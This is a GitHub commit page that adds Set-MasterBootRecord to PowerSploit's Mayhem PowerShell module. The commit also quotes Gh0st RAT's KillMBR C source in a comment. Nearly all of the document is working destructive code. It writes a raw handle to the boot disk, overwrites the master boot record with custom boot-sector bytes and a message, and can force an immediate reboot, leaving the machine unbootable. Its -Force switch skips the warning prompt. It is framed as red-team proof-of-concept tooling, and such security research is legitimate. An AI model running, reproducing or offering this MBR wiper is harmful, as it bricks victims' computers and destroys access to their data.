Skip to content

Commit 258c760

Browse files
author
mattifestation
committed
Adding MBR infector Set-MasterBootRecord
1 parent 2e00756 commit 258c760

File tree

2 files changed

+273
-1
lines changed

2 files changed

+273
-1
lines changed

Mayhem/Mayhem.psm1

Lines changed: 268 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,271 @@
1-
function Set-CriticalProcess
1+
function Set-MasterBootRecord
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Proof of concept code that overwrites the master boot record with the
7+
message of your choice.
8+
9+
PowerSploit Function: Set-MasterBootRecord
10+
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
11+
License: BSD 3-Clause
12+
Required Dependencies: None
13+
Optional Dependencies: None
14+
15+
.DESCRIPTION
16+
17+
Set-MasterBootRecord is proof of concept code designed to show that it is
18+
possible with PowerShell to overwrite the MBR. This technique was taken
19+
from a public malware sample. This script is inteded solely as proof of
20+
concept code.
21+
22+
.PARAMETER BootMessage
23+
24+
Specifies the message that will be displayed upon making your computer a brick.
25+
26+
.PARAMETER RebootImmediately
27+
28+
Reboot the machine immediately upon overwriting the MBR.
29+
30+
.PARAMETER Force
31+
32+
Suppress the warning prompt.
33+
34+
.EXAMPLE
35+
36+
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
37+
38+
.NOTES
39+
40+
Obviously, this will only work if you have a master boot record to
41+
overwrite. This won't work if you have a GPT (GUID partition table)
42+
#>
43+
44+
<#
45+
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
46+
47+
// CGh0stApp message handlers
48+
49+
unsigned char scode[] =
50+
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
51+
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
52+
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
53+
54+
int CGh0stApp::KillMBR()
55+
{
56+
HANDLE hDevice;
57+
DWORD dwBytesWritten, dwBytesReturned;
58+
BYTE pMBR[512] = {0};
59+
60+
// 重新构造MBR
61+
memcpy(pMBR, scode, sizeof(scode) - 1);
62+
pMBR[510] = 0x55;
63+
pMBR[511] = 0xAA;
64+
65+
hDevice = CreateFile
66+
(
67+
"\\\\.\\PHYSICALDRIVE0",
68+
GENERIC_READ | GENERIC_WRITE,
69+
FILE_SHARE_READ | FILE_SHARE_WRITE,
70+
NULL,
71+
OPEN_EXISTING,
72+
0,
73+
NULL
74+
);
75+
if (hDevice == INVALID_HANDLE_VALUE)
76+
return -1;
77+
DeviceIoControl
78+
(
79+
hDevice,
80+
FSCTL_LOCK_VOLUME,
81+
NULL,
82+
0,
83+
NULL,
84+
0,
85+
&dwBytesReturned,
86+
NULL
87+
);
88+
// 写入病毒内容
89+
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
90+
DeviceIoControl
91+
(
92+
hDevice,
93+
FSCTL_UNLOCK_VOLUME,
94+
NULL,
95+
0,
96+
NULL,
97+
0,
98+
&dwBytesReturned,
99+
NULL
100+
);
101+
CloseHandle(hDevice);
102+
103+
ExitProcess(-1);
104+
return 0;
105+
}
106+
#>
107+
108+
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
109+
[ValidateLength(1, 479)]
110+
[String]
111+
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
112+
113+
[Switch]
114+
$RebootImmediately,
115+
116+
[Switch]
117+
$Force
118+
)
119+
120+
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
121+
{
122+
throw 'This script must be executed from an elevated command prompt.'
123+
}
124+
125+
if (!$Force)
126+
{
127+
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
128+
{
129+
return
130+
}
131+
}
132+
133+
#region define P/Invoke types dynamically
134+
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
135+
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
136+
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
137+
138+
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
139+
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
140+
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
141+
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
142+
@('kernel32.dll'),
143+
[Reflection.FieldInfo[]]@($SetLastError),
144+
@($True))
145+
146+
# Define [Win32.Kernel32]::DeviceIoControl
147+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
148+
'kernel32.dll',
149+
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
150+
[Reflection.CallingConventions]::Standard,
151+
[Bool],
152+
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
153+
[Runtime.InteropServices.CallingConvention]::Winapi,
154+
[Runtime.InteropServices.CharSet]::Auto)
155+
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
156+
157+
# Define [Win32.Kernel32]::CreateFile
158+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
159+
'kernel32.dll',
160+
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
161+
[Reflection.CallingConventions]::Standard,
162+
[IntPtr],
163+
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
164+
[Runtime.InteropServices.CallingConvention]::Winapi,
165+
[Runtime.InteropServices.CharSet]::Ansi)
166+
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
167+
168+
# Define [Win32.Kernel32]::WriteFile
169+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
170+
'kernel32.dll',
171+
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
172+
[Reflection.CallingConventions]::Standard,
173+
[Bool],
174+
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
175+
[Runtime.InteropServices.CallingConvention]::Winapi,
176+
[Runtime.InteropServices.CharSet]::Ansi)
177+
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
178+
179+
# Define [Win32.Kernel32]::CloseHandle
180+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
181+
'kernel32.dll',
182+
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
183+
[Reflection.CallingConventions]::Standard,
184+
[Bool],
185+
[Type[]]@([IntPtr]),
186+
[Runtime.InteropServices.CallingConvention]::Winapi,
187+
[Runtime.InteropServices.CharSet]::Auto)
188+
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
189+
190+
$Kernel32 = $TypeBuilder.CreateType()
191+
#endregion
192+
193+
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
194+
# Convert the boot message to a byte array
195+
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
196+
197+
[Byte[]] $MBRInfectionCode = @(
198+
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
199+
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
200+
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
201+
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
202+
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
203+
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
204+
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
205+
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
206+
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
207+
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
208+
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
209+
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
210+
) + $MessageBytes
211+
212+
$MBRSize = [UInt32] 512
213+
214+
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
215+
{
216+
throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
217+
}
218+
219+
# Allocate 512 bytes for the MBR
220+
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
221+
222+
# Zero-initialize the allocated unmanaged memory
223+
0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
224+
225+
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
226+
227+
# Write boot record signature to the end of the MBR
228+
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
229+
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
230+
231+
# Get the device ID of the boot disk
232+
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
233+
234+
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
235+
$FILE_SHARE_READWRITE = 2 -bor 1
236+
$OPEN_EXISTING = 3
237+
238+
# Obtain a read handle to the raw disk
239+
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
240+
241+
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
242+
{
243+
throw "Unable to obtain read/write handle to $DeviceID"
244+
}
245+
246+
$BytesReturned = [UInt32] 0
247+
$BytesWritten = [UInt32] 0
248+
$FSCTL_LOCK_VOLUME = 0x00090018
249+
$FSCTL_UNLOCK_VOLUME = 0x0009001C
250+
251+
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
252+
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
253+
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
254+
$null = $Kernel32::CloseHandle($DriveHandle)
255+
256+
Start-Sleep -Seconds 2
257+
258+
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
259+
260+
Write-Verbose 'Master boot record overwritten successfully.'
261+
262+
if ($RebootImmediately)
263+
{
264+
Restart-Computer -Force
265+
}
266+
}
267+
268+
function Set-CriticalProcess
2269
{
3270
<#
4271
.SYNOPSIS

README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -196,6 +196,11 @@ Generates a full-memory minidump of a process.
196196

197197
**Cause general mayhem with PowerShell.**
198198

199+
#### `Set-MasterBootRecord`
200+
201+
Proof of concept code that overwrites the master boot record with the
202+
message of your choice.
203+
199204
#### `Set-CriticalProcess`
200205

201206
Causes your machine to blue screen upon exiting PowerShell.

0 commit comments

Comments
 (0)